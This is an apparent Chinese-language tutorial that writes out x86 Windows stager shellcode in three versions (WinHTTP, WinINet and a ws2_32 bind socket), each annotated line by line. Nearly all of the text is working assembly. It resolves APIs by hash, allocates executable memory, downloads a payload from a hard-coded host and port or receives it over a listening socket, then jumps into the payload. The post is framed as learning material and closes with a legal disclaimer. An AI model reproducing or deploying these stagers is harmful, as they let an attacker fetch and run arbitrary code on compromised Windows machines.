1. 简介
在上一篇文章中,说明了如何编写X86和X64的弹窗shellcode的实现,本章主要实现X86架构远程下载的shellcode:winhttp、wininet、wsock32三个版本。
我们还是借鉴msf-shellcode-block的代码,部分地方有修改。
2. 远程下载shellcode(winhttp版)
本节调用WIndows API来实现winhttp版本的X86架构远程下载shellcode。
2.1 实现流程
- 1、获取LoadLibraryA函数地址,加载winhttp.dll库;
- 2、调用WinHttpOpen函数初始化WinHttp会话句柄(作为起点);
- 3、调用WinHttpConnect函数指定目标服务器的地址和端口,返回一个连接句柄;
- 4、调用WinHttpOpenRequest函数创建HTTP请求句柄,指定HTTP请求所需的基本信息;
- 5、调用WinHttpSendRequest函数发送请求到目标服务器;
- 6、调用WinHttpReceiveResponse函数等待来自服务器的响应;
- 7、调用VirtualAlloc函数分配内存存储shellcode;
- 8、调用WinHttpReadData函数分段读取响应主体中的数据;
- 9、跳转到从服务器下载的shellcode执行;
- 10、错误情况调用ExitProcess函数退出程序
基本上是API的堆叠实现:参数压栈-目标hash压栈-调用hash函数获取地址。
Windows API参考链接:Win32-API-winhttp.h
(1)第一步:winhttp字符串和目标hash压栈,加载winhttp.dll库:
push 00707474h ;压入字符串"ttp\0"
push 686e6977h ;压入字符串"winh"
push esp ;栈顶指向字符串指针
push 0DEC21CCDh ;计算出kernel32.dll库的LoadLibraryA函数哈希值
call get_proc_addr_by_hash ;调用哈希解析函数获取LoadLibraryA地址,加载winhttp.dll库
xor ebx,ebx ;清零ebx
关键指令分析
- 指令push 00707474h和指令push 686e6977h:用于将字符串参数winhttp压栈,栈指针的移动顺序是由高到低,而字符串都是从低地址开始读取的,所以先压入ttp\0,再压入winh;
- push esp:esp寄存器始终指向栈的顶部,这里esp指向的是winhttp\0字符串的首地址,将其作为LoadLibraryA函数的参数压栈;
(2)第二步:调用WinHttpOpen函数初始化WinHttp会话句柄
push ebx ;dwFlags=0
push ebx ;dwAccessType=0
push ebx ;pwszProxyName=NULL
push 1 ;dwAccessType=WINHTTP_ACCESS_TYPE_DEFAULT_PROXY
push ebx ;pwszUserAgent=NULL
push 332D226Eh ;计算出WinHttpOpen函数的哈希值
call get_proc_addr_by_hash ;调用WinHttpOpen函数,返回的句柄在eax寄存器中
指令分析
首先将WinHttpOpen函数的5个参数压栈,接着将计算出的WinHttpOpen函数的哈希值压栈,调用哈希解析函数获取函数地址并调用。
(3)第三步:调用WinHttpConnect函数指定目标服务器的地址和端口
push ebx ;dwReserved=0,保留字段,必须为0
push 5555 ;nServerPort=5555(端口号)
call got_server_uri ;将server_uri地址存入edi,并跳转处理server_host
server_uri: ;设置服务器的URI路径
dw '/','s','h','e','l','l','c','o','d','e','_','w','i','n','3','2','_','4','0','0','h','_','2','0','0','h','.','b','i','n', 0
got_server_host:
push eax ;hSession(调用WinHttpOpen函数返回的句柄)
push 39AE9EB0h ;计算出WinHttpConnect函数的哈希值
call get_proc_addr_by_hash ;调用WinHttpConnect函数,返回连接句柄在eax中
got_server_uri:
pop edi ; 将server_uri标号的地址弹出到edi(指向URI字符串)
call got_server_host ; 跳转到标号处处理server_host
server_host: ; 定义服务器主机名(小端存储)
dw '1','9','2','.','1','6','8','.','1','.','1',0
关键指令分析
- push 5555:指定连接的端口号为5555,默认为80/443;
- call got_server_uri:跳转到got_server_uri子程序执行,作用是弹出的server_uri地址存入edi,然后接着跳转到got_server_host子程序;
- push eax:将eax压栈,此时eax存储的是WinHttpOpen函数的返回值,这里用于指定hSession参数,必须是一个WinHttpOpen函数调用成功的有效的会话句柄;
(4)第四步:调用WinHttpOpenRequest函数创建HTTP请求句柄
push ebx ; dwContext=0
push ebx ; pwszVersion=NULL(默认HTTP/1.1)
push ebx ; pwszReferrer=NULL
push ebx ; pwszAcceptTypes=NULL
push edi ; pwszObjectName=server_uri(栈中弹出的edi的值)
push ebx ; pwszVerb=NULL(默认GET方法)
push eax ; hConnect(调用WinHttpConnect函数返回的句柄)
push 0D3431402h ;计算出WinHttpOpenRequest函数的哈希值
call get_proc_addr_by_hash ; 调用WinHttpOpenRequest函数,返回请求句柄在eax中
xchg esi, eax ; 将请求句柄保存到esi寄存器(WinHttpOpenRequest函数返回值)
关键指令分析
- push edi:将edi寄存器压栈,用于设置pwszObjectName参数的值为edi,edi目前的值是server_uri路径,即一个指向字符串的指针;
- push eax:设置hConnect参数为调用WinHttpConnect函数返回的句柄;
- xchg esi, eax:该指令用于交换esi和eax两个寄存器的值,这里的eax寄存器存储的是WinHttpOpenRequest函数的返回值(句柄),也就是说将此句柄存到了esi寄存器;
(5)第五步:调用WinHttpSendRequest函数发送请求到目标服务器
push ebx ;dwTotalLength=0
push ebx ;dwOptionalLength=0
push ebx ;lpOptional=NULL
push ebx ;lpszHeaders=NULL
push ebx ;dwHeadersLength=0
push esi ;hRequest(WinHttpOpenRequest函数返回的请求句柄)
push 094B5BFFh ;计算出WinHttpSendRequest的哈希值
call get_proc_addr_by_hash ;调用WinHttpSendRequest函数发送请求,返回值存放在eax中
和之前的一样都是API调用,不多说了。
(6)第六步:调用WinHttpReceiveResponse函数等待来自服务器的响应
push ebx ; lpReserved=NULL
push esi ; hRequest(WinHttpOpenRequest函数返回的请求句柄)
push 0E82D8B6Fh ; 计算出WinHttpReceiveResponse的哈希值
call get_proc_addr_by_hash ;调用WinHttpReceiveResponse函数等待响应,返回值在eax中
test eax,eax ; 检测是否成功
jz failure ; 失败则跳转到failure标号处退出程序
(7)第七步,调用VirtualAlloc函数分配内存存储shellcode
push 40h ; flProtect=PAGE_EXECUTE_READWRITE(可执行可读可写)
push 1000h ; flAllocationType=MEM_COMMIT(提交物理内存)
push 00400000h ; dwSize=4MB
push ebx ; lpAddress=NULL(由系统自动分配)
push 0BCEF49D9h ; 计算出VirtualAlloc函数的哈希值
call get_proc_addr_by_hash ; 调用VirtualAlloc函数分配内存,返回值存在eax(分配内存的基地址)
(8)第八步,调用WinHttpReadData函数分段读取响应主体中的shellcode
download_prep:
xchg eax, ebx ; ebx=分配的内存基地址
push ebx ; 保存基地址到栈(后续用于跳转)
push ebx ; 临时占位符(用于存储已读字节数)
mov edi, esp ; edi指向栈上的bytesRead变量地址
download_more:
push edi ; lpNumberOfBytesRead=指向接收已读字节数
push 8192 ; dwNumberOfBytesToRead=8KB(每次读取8KB)
push ebx ; lpBuffer=当前写入位置
push esi ; hRequest=WinHttpOpenRequest函数返回的请求句柄
push 0F5B42CD6h ; 计算出WinHttpReadData函数的哈希值
call get_proc_addr_by_hash ; 读取数据到缓冲区
test eax,eax ; 检查是否读取成功
jz failure ; 失败则跳转错误处理
mov eax, [edi] ; 获取本次读取的字节数
add ebx, eax ; 移动缓冲区指针到下一个写入位置
test eax,eax ; 检查是否已读取完毕(字节数为0)
jnz download_more ; 未完成则继续读取
pop eax ; 清理栈上的临时占位符
(9)第九步:跳转到从服务器下载的shellcode执行
execute_stage:
ret ;等同于pop eip
(10)第十步:错误情况调用ExitProcess函数退出程序
failure:
push 2E3E5B71h ; 计算出ExitProcess的哈希值
call get_proc_addr_by_hash ; 调用ExitProcess函数终止进程
2.2 运行测试
搭建一个Python的服务器环境,把目标程序设置为之前写的弹窗:

3. 远程下载shellcode(wininet版)
本节调用WIndows API来实现wininet版本的X86架构远程下载 shellcode。
3.1 实现流程
- 1、获取LoadLibraryA函数地址,加载wininet.dll库;
- 2、调用InternetOpenA函数初始化应用程序对Internet函数的使用;
- 3、调用InternetConnectA函数指定目标服务器的地址和端口,返回一个连接句柄;
- 4、调用HttpOpenRequestA函数创建HTTP请求句柄,指定HTTP请求所需的基本信息;
- 5、调用HttpSendRequestA函数发送请求到目标服务器;
- 6、调用VirtualAlloc函数分配内存存储shellcode;
- 7、调用InternetReadFile函数分段读取响应主体中的数据;
- 8、跳转到从服务器下载的shellcode执行;
- 9、错误情况调用ExitProcess函数退出程序
基本上是API的堆叠实现:同winhttp版本一致,参数压栈-目标hash压栈-调用hash函数获取地址。
Windows API参考链接:Win32-API-wininet.h
(1)第一步:获取LoadLibraryA函数地址,加载wininet.dll库
push 0074656eh ;字符串"net'\0'"压栈
push 696e6977h ;字符串"wini"压栈
push esp ; 栈顶指向字符串指针
push 0DEC21CCDh ; 计算kernel32.dll+LoadLibraryA的哈希值
call get_proc_addr_by_hash ; 调用哈希解析函数获取LoadLibraryA地址并加载wininet
xor ebx,ebx ; ebx寄存器清零,用于存储后面API的参数
(2)第二步:调用InternetOpenA函数初始化应用程序对Internet函数的使用
internetopenA:
push ebx ; dwFlags=0
push ebx ; lpszProxyBypass=NULL
push ebx ; lpszProxyName=NULL
push ebx ; dwAccessType=0
push ebx ; lpszAgent=NULL
push 0363799Dh ; 计算wininet.dll+InternetOpenA的哈希值
call get_proc_addr_by_hash ; 调用InternetOpenA函数初始化,返回值在eax中
(3)第三步,调用InternetConnectA函数指定目标服务器的地址和端口
internetconnectA:
push ebx ; dwContext=NULL
push ebx ; dwFlags=0
push 3 ; dwService=INTERNET_SERVICE_HTTP
push ebx ; lpszPassword=NULL
push ebx ; lpszUserName=NULL
push 5555 ; nServerPort=5555
call got_server_uri ; 将server_uri地址存入edi,并跳转处理server_host
server_uri:
db '/shellcode_win32_400h_200h.bin', 0
got_server_host:
push eax ; hInternet=InternetOpenA函数返回的句柄
push 2289ACBAh ;计算wininet.dll+InternetConnectA的哈希值
call get_proc_addr_by_hash ;调用InternetConnectA函数,返回连接句柄在eax中
got_server_uri:
pop edi ; 将栈的server_uri保存到edi中
call got_server_host ; 将server_host压入栈中作为InternetConnectA的参数
server_host:
db '192.168.142.130',0 ;定义IP地址
(4)第四步:调用HttpOpenRequestA函数创建HTTP请求句柄
httpOpenRequestA:
push ebx ; dwContext=NULL
push ebx ; dwFlags=0
push ebx ; lplpszAcceptTypes=NULL
push ebx ; lpszReferrer=NULL
push ebx ; lpszVersion=NULL(默认HTTP/1.1)
push edi ; lpszObjectName=server URI(栈中弹出的edi的值)
push ebx ; lpszVerb=NULL(默认GET方法)
push eax ; hConnect=调用InternetConnectA函数返回的句柄
push 9718794Eh ; 计算wininet.dll+HttpOpenRequestA的哈希值
call get_proc_addr_by_hash ; 调用HttpOpenRequestA函数,返回请求句柄在eax中
xchg esi, eax ; 将请求句柄保存到esi寄存器(HttpOpenRequestA函数返回值)
(5)第五步:调用HttpSendRequestA函数发送请求到目标服务器
httpsendrequest:
push ebx ; dwOptionalLength=0
push ebx ; lpOptional=NULL
push ebx ; dwHeadersLength=0
push ebx ; lpszHeaders=NULL
push esi ; hRequest=调用HttpOpenRequestA函数返回的请求句柄
push 0D7022990h ; 计算wininet.dll+HttpSendRequestA的哈希值
call get_proc_addr_by_hash ; 调用HttpSendRequestA函数发送请求,返回值存放在eax中
test eax,eax ; 检测是否成功
jz failure ; 失败则跳转到failure标号处退出程序
(6)第六步:调用VirtualAlloc函数分配内存存储shellcode
allocate_memory:
push 40h ; flProtect=PAGE_EXECUTE_READWRITE(可执行可读可写)
push 1000h ; flAllocationType=MEM_COMMIT(提交物理内存)
push 00400000h ; dwSize=4Mb
push ebx ; lpAddress=NULL(由系统自动分配)
push 0BCEF49D9h ; 计算出kernel32.dll+VirtualAlloc函数的哈希值
call get_proc_addr_by_hash ; 调用VirtualAlloc函数分配内存,返回值存在eax(分配内存的基地址)
(7)第七步:调用InternetReadFile函数分段读取响应主体中的 shellcode
download_prep:
xchg eax, ebx ; ebx=分配的内存基地址
push ebx ; 保存基地址到栈(后续用于跳转)
push ebx ; 临时占位符(用于存储已读字节数)
mov edi, esp ; edi指向栈上的bytesRead变量地址
download_more:
push edi ; lpNumberOfBytesRead=接收已读字节数
push 8192 ; dwNumberOfBytesToRead=8KB(每次读取8KB)
push ebx ; lpBuffer=当前写入位置
push esi ; hRequest=WinHttpOpenRequest函数返回的请求句柄
push 3E73B975h ; 计算出wininet.dll+InternetReadFile函数的哈希值
call get_proc_addr_by_hash ; 读取数据到缓冲区
test eax,eax ; 检查是否读取成功
jz failure ; 失败则跳转错误处理
mov eax, [edi] ; 获取本次读取的字节数
add ebx, eax ; 移动缓冲区指针到下一个写入位置:buffer += bytes_received
test eax,eax ; 检查是否已读取完毕(字节数为0)
jnz download_more ; 未完成则继续读取
pop eax ; 清理栈上的临时占位符
(8)第八步:跳转到从服务器下载的 shellcode 执行
execute_stage:
ret ; ret等效于pop+jmp,执行到此次时,esp指向缓冲区的地址
(9)第九步:错误情况调用 ExitProcess 函数退出程序
failure:
push 2E3E5B71h ; 计算kernel32.dll+ExitProcess函数的哈希值
call get_proc_addr_by_hash ;调用ExitProcess函数退出程序
3.2 运行测试
和winhttp版本的一样,开启一个服务端环境,远程下载弹窗程序:

4. 远程下载shellcode(ws2_32版)
ws2_32.dll是Windows平台网络编程(Socket)依赖的核心动态原生库。本节调用WIndows Socket编程来实现 ws2_32版本的X86架构远程下载 shellcode。
4.1 实现流程
- 1、获取LoadLibraryA函数地址,加载ws2_32.dll库;
- 2、调用WSAStartup函数启动进程对winsock.dll的使用;
- 3、调用WSASocketA函数创建一个套接字socket;
- 4、调用bind函数将ip地址和port端口号绑定到套接字;
- 5、调用listen函数开启监听模式(由主动连接到被动监听),开始等待客户连接;
- 6、调用accept函数线程阻塞执行,直到客户端连接起来,等待数据传输;
- 7、调用closesocket函数关闭原始套接字(Socket),但要保留closesocket的返回值(新套接字);
- 8、调用VitualAlloc函数申请一块可读可写可执行的内存(缓冲区);
- 9、调用recv函数从已连接的套接字接收传入的数据;
- 10、跳转到从服务器下载的 shellcode 执行;
- 11、错误情况调用 ExitProcess 函数退出程序;
基本上是 API 的堆叠实现:参数压栈 – 目标 hash 压栈 – 调用 hash 函数获取地址。
Windows API 参考链接:Win32-API-winsock2.h
(1)第一步:获取LoadLibraryA函数地址,加载ws2_32.dll库
push 00003233h ;字符串“32\0”压栈
push 5F327377h ;字符串“ws2_”压栈
push esp ; 栈顶指向字符串指针
push 0DEC21CCDh ;计算kernel32.dll+LoadLibraryA的哈希值
call get_proc_addr_by_hash
xor ebx,ebx ; 清零ebx,用于存放后面的参数
(2)第二步:调用WSAStartup函数启动进程对winsock.dll进行初始化
sub esp,0190h ; WSAData结构体大小(400字节)
push esp ; lpWSAData=esp,当前栈顶地址作为WSAData的指针
push 0202h ; wVersionRequired=0202h,调用方可以使用的最高版本的 Windows 套接字规范,当前版本为2.2
push 78A22668h ; 计算ws2_32.dll+WSAStartup的哈希值
call get_proc_addr_by_hash ; 调用WSAStartup函数对winsock.dll进行初始化
(3)第三步:调用WSASocketA函数创建一个套接字socket
push ebx ; dwFlags=0
push ebx ; g=0
push ebx ; lpProtocolInfo=NULL
push ebx ; protocol=0
push 1 ; type=1
push 2 ; af=2=AF_INET,即IPv4
push 5915B629h ; 计算ws2_32.dll+WSASocketA的哈希值
call get_proc_addr_by_hash ; 调用WSASocketA函数创建一个套接字socket
xchg edi,eax ; 保存套接字到edi中
(4)第四步:调用bind函数将ip地址和port端口号绑定到套接字
push ebx ; sockaddr.sin_addr=0.0.0.0(4字节)
push 5C110002h ; sockaddr.sin_port=4444(2字节),sockaddr.sin_family=AF_INET(2字节)
mov esi, esp ; 将当前栈顶地址作为sockaddr_in结构体的指针
push 16 ; namelen=16,addr指向的值的长度,包括了8字节的填充字段
push esi ; addr指向要分配给 bound socket 的本地地址的 sockaddr 结构的指针
push edi ; 标识未绑定套接字的描述符
push 0DF6E8201h ; 计算ws2_32.dll+bind函数的哈希值
call get_proc_addr_by_hash ;调用bind函数
(5)第五步:调用listen函数开启监听模式,等待客户端连接
push ebx ; backlog=0
push edi ; 标识已绑定、未连接的套接字的描述符
push 776F8FF6h ; 计算ws2_32.dll+listen函数的哈希值
call get_proc_addr_by_hash ; 调用listen函数
test eax,eax ; 检测eax的值,listen返回值为0表示正常
jnz Exit ; 退出 ;
(6)第六步:调用accept函数线程阻塞执行,等待数据传输
push eax ; addrlen=NULL,为了差异化,当然也可以用push ebx,下条指令同理
push eax ; addr=NULL
push edi ; 一个描述符,用于标识已使用 listen 函数置于侦听状态的套接字
push 597292B3h ; 调用ws2_32.dll+accept函数的哈希值
call get_proc_addr_by_hash ; 调用accept函数,程序阻塞,等待连接
(7)第七步:调用closesocket函数关闭原始套接字(Socket)
push edi ; 关闭原socket
xchg edi,eax ; 将accept的返回的新socket句柄保存到edi中
push 0D98414B4h ; 计算ws2_32.dll+closesocket函数的哈希值
call get_proc_addr_by_hash ; 调用closesocket函数
(8)第八步:调用VitualAlloc函数申请一块可读可写可执行的内存(缓冲区)
push 40h ; flProtect=PAGE_EXECUTE_READWRITE(可执行可读写)
push 1000h ; flAllocationType=MEM_COMMIT(提交物理内存)
push 00400000h ; dwSize=4MB
push ebx ; lpAddress=NULL(由系统自动分配)
push 0BCEF49D9h ; kernel32.dll+VirtualAlloc 哈希
call get_proc_addr_by_hash ; 调用VitualAlloc函数
(9)第九步:调用recv函数从已连接的套接字接收传入的数据
read_pre:
xchg eax,ebx ; eax=分配的内存基地址
push ebx ; 将保存基地址到栈(后续用于跳转)
read_more:
push 0 ; flags=0
push 8192 ; len=8192,表示一次性接收8192个字节的数据到缓冲区
push ebx ; buf缓冲区的地址
push edi ; 标识已连接套接字的描述符
push 0D7FF7F41h ; 计算ws2_32.dll+recv函数的哈希值
call get_proc_addr_by_hash
add ebx, eax ; 移动缓冲区指针到下一个写入位置
test eax,eax ; 检查是否已读取完毕(字节数为0)
jnz read_more ; 未完成则继续读取
(10)第十步:跳转到从服务器下载的 shellcode 执行
execute_stage:
ret
(11)第十一步:错误情况调用 ExitProcess 函数退出程序
Exit:
push 2E3E5B71h ; 计算出ExitProcess函数的哈希值
call get_proc_addr_by_hash ; 调用ExitProcess函数终止进程
4.2 运行测试
首先开启一个python服务,然后通过客户端client.py文件去连接,执行shellcode就可以实现:

5. 参考链接
- msf-shellcode-win-x86:https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_api.asm
- msf-shellcode-win-x86-block:https://github.com/rapid7/metasploit-framework/tree/master/external/source/shellcode/windows/x86/src/block
- x86 Assembly Guide:https://www.cs.virginia.edu/~evans/cs216/guides/x86.html
- Windows shellcode 开发入门 – 第三部分:https://securitycafe.ro/2016/02/15/introduction-to-windows-shellcode-development-part-3/
- Windows Shellcode开发:https://xz.aliyun.com/news/17827
1. 一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。